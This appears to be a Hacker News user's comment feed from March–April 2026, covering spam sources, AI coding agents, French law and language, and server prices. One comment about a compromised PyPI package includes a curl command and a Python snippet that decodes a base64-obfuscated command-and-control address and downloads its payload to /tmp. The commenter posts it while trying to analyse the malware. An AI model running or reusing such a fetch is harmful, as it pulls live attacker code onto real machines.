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New comment by _ache_ in "C89cc.sh – standalone C89/ELF64 compiler in pure portable shell"

_ache_ — Fri, 03 Apr 2026 03:23:13 +0000

I'm tempted to execute it, but it may as well be shellcode I couldn't tell.

New comment by _ache_ in "Email obfuscation: What works in 2026?"

_ache_ — Thu, 02 Apr 2026 11:22:36 +0000

I'm not denying that it happens. I'm saying that it not the classical way to spam people nowadays.

It's obvious to any non native english speaker, when you have a spam in english, it is because they toke the email from the web. When it's in you native language, it's usually from a data breach.

I'm vastly more spammed by the later. I can confirm it with unique email addresses of the "+" form (but not with the + character).

Also when I'm spammed in english, it's for Web3 crypto stuff and from a data breach it's a phishing attempt.

New comment by _ache_ in "Email obfuscation: What works in 2026?"

_ache_ — Thu, 02 Apr 2026 06:06:01 +0000

I'm sorry, but that is not how email address are spammed in bulk.

The data-source are the enormous data breach that are more and more frequent. There is more intensive to collect more information on someone you already know something about than spamming an email you don't even know if it's a valid one.

The spam can also be very more effective as it present itself with personal information about the spammed.

New comment by _ache_ in "OpenYak – An open-source Cowork that runs any model and owns your filesystem"

_ache_ — Sun, 29 Mar 2026 09:10:26 +0000

Absolutely, that is misleading to not-much-technical people, maybe intentionally. Does not inspire confidence.

New comment by _ache_ in "OpenYak – An open-source Cowork that runs any model and owns your filesystem"

_ache_ — Sun, 29 Mar 2026 05:32:53 +0000

> Yes. OpenYak is local-first. Your conversations and files are stored only on your machine. When using cloud models, only API calls to LLM providers leave your computer.

So local-first and still upload files to cloud models if you configure it.

New comment by _ache_ in "Spanish legislation as a Git repo"

_ache_ — Sat, 28 Mar 2026 14:39:45 +0000

In France, not only our law are versioned. It's formally proved too!

https://catala-lang.org/

*Edit*: Woah ! The French crew is here. We are at least 5 quoting a variation of <https://www.legifrance.gouv.fr/> for versioning.

New comment by _ache_ in "Telnyx package compromised on PyPI"

_ache_ — Fri, 27 Mar 2026 23:47:45 +0000

How can we get the wav ? `curl -A "Mozilla/5.0" "http:///hangup.wav"` does hang.

No ... I tried hard. But still get a timeout.

    import urllib.request
    import base64

    def _d(x):
        return base64.b64decode(x).decode("utf-8")


    C2C_URL = _d("aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg==")
    # C2C_URL = "http://XXXXX:8080/ringtone.wav"

    r = urllib.request.Request(
        C2C_URL, headers={_d("VXNlci1BZ2VudA=="): _d("TW96aWxsYS81LjA=")}
    )
    with urllib.request.urlopen(r, timeout=15) as d:
        with open("/tmp/exatracted_tpcp.wav", "wb") as f:
            f.write(d.read())

New comment by _ache_ in "Explore the Hidden World of Sand"

_ache_ — Fri, 27 Mar 2026 18:33:04 +0000

I come from a island where its common to pain with sand. About one hundred beach, around two hundred colors, green is hard to make.

I learned that local sand composition is very affected by local geology.

New comment by _ache_ in "French e, è, é, ê, ë – what's the difference?"

_ache_ — Thu, 26 Mar 2026 17:32:21 +0000

And ê, when pronounced (most of the cases) it's just a è.

ë, contrary as said in the article (full slop?) is the most complicated and with some exceptions. But there is so few words that use that letter that you just don't have to care.

Just pronounce ë as è when its in (inside) a word and not pronounced at all when it's at the end. The only exception I can think of is canoë (pronounced conoé), but everybody will understand if you say cano.

New comment by _ache_ in "Arm AGI CPU"

_ache_ — Tue, 24 Mar 2026 19:14:09 +0000

They did ask AI if AGI what a great name. It said that it was the greatest name possible. It's bold, aspirational, and ... polarizing?!

Oh god! Mistral tell me it's highly polarizing, will make the buzz and it's risky but anyway people will know that ARM is doing CPU again now (maybe I did put too many context).

New comment by _ache_ in "Books of the Century by Le Monde"

_ache_ — Sat, 21 Mar 2026 22:48:39 +0000

About IP. It's 70 years after the death of the author in France, so Camus (car crash in 1960) books will be PD in 2030. There is an exception for people who lost live from war (+30 years), so 2044 is the year the elevate to PD for "Le petit prince".

I don't understand that right is attached to local legislation. Like you will have access to these book before we do because of the local legislation of USA? That is a bit crazy.

New comment by _ache_ in "OpenCode – Open source AI coding agent"

_ache_ — Sat, 21 Mar 2026 13:49:51 +0000

I was going to say that pnpm isn't that old but wikipedia says 2017!

New comment by _ache_ in "OpenCode – Open source AI coding agent"

_ache_ — Sat, 21 Mar 2026 13:07:27 +0000

If you evaluate fascism in terms of donation, yes.

But it is more about the political opinions, IMHO, and Anthropic doesn't sound more attractive than the competitors. Anthropic is very much to the right of the transhumanism spectrum (even if xAI and OpenAI are even farther).

New comment by _ache_ in "Atuin v18.13 – better search, a PTY proxy, and AI for your shell"

_ache_ — Sat, 21 Mar 2026 12:06:12 +0000

There is no way is it not generated on user computer.

"get the correct command first" and "shipping a [external] dataset" are incompatible.

New comment by _ache_ in "OpenCode – Open source AI coding agent"

_ache_ — Sat, 21 Mar 2026 04:15:53 +0000

Yes, you are doing it too with antropic an xAI. I don't get your point. xAI and OpenAI are a little worst? Maybe, still very well fascism.

New comment by _ache_ in "Anthropic takes legal action against OpenCode"

_ache_ — Thu, 19 Mar 2026 20:51:27 +0000

AI company crying over IP violation. Incredible.

New comment by _ache_ in "Mathematics Distillation Challenge – Equational Theories"

_ache_ — Sun, 15 Mar 2026 14:25:45 +0000

As I say, I understand the goal of having a cheat sheet that can distills a big chunk of math. But that distillation would have been better done by a neural network instead of the creation of a prompt (fine-tuning or pure distillation). But studying that neural network will be harder.

It's explicitly stated that the goal is to improve performance of cheap models but I assume, like you did, that they are hopping that the plain text may be useful to humans too.

New comment by _ache_ in "Qatar helium shutdown puts chip supply chain on a two-week clock"

_ache_ — Sun, 15 Mar 2026 04:05:35 +0000

Well, I only tried ~~one~~ two servers:

T560:

Priced £3,505 in may 2025: https://web.archive.org/web/20250702124754/https://www.dell....

Now at £13,979: https://www.dell.com/en-uk/shop/dell-servers-storage-network...

It's a 10k£ increase or about x3.

I also just tried with R360, x2 in price only, from $4,959 dec 2025 to $17,142 today.

dec 2025: https://web.archive.org/web/20251210154822/https://www.dell....

Today: https://www.dell.com/en-us/shop/servers-storage-and-networki...

Edit: Add another one with US dollar.

New comment by _ache_ in "Mathematics Distillation Challenge – Equational Theories"

_ache_ — Sun, 15 Mar 2026 03:44:51 +0000

Already saw it on Mastodon yesterday. A better presentation is in the other link. (https://competition.sair.foundation/competitions/mathematics...)

I understand the idea of a distillation challenge but it really feels like the poor man's solution to a problem that could be better solved by training a LLM and analysing the layers. In the end, as I value a condensed "cheat sheet", if the goal is to improve open-source model. A better approach seems to recreate the AlphaProof system, longer to do, but more efficient. The path taken by mathematicians now is agentic system with general LLM.

- Masto: https://mathstodon.xyz/@tao/116225525978210807

- AlphaProof: https://deepmind.google/blog/ai-solves-imo-problems-at-silve...

- AlphaProof description: https://www.nature.com/articles/s41586-025-09833-y

New comment by _ache_ in "Qatar helium shutdown puts chip supply chain on a two-week clock"

_ache_ — Sat, 14 Mar 2026 13:16:49 +0000

They are toxic.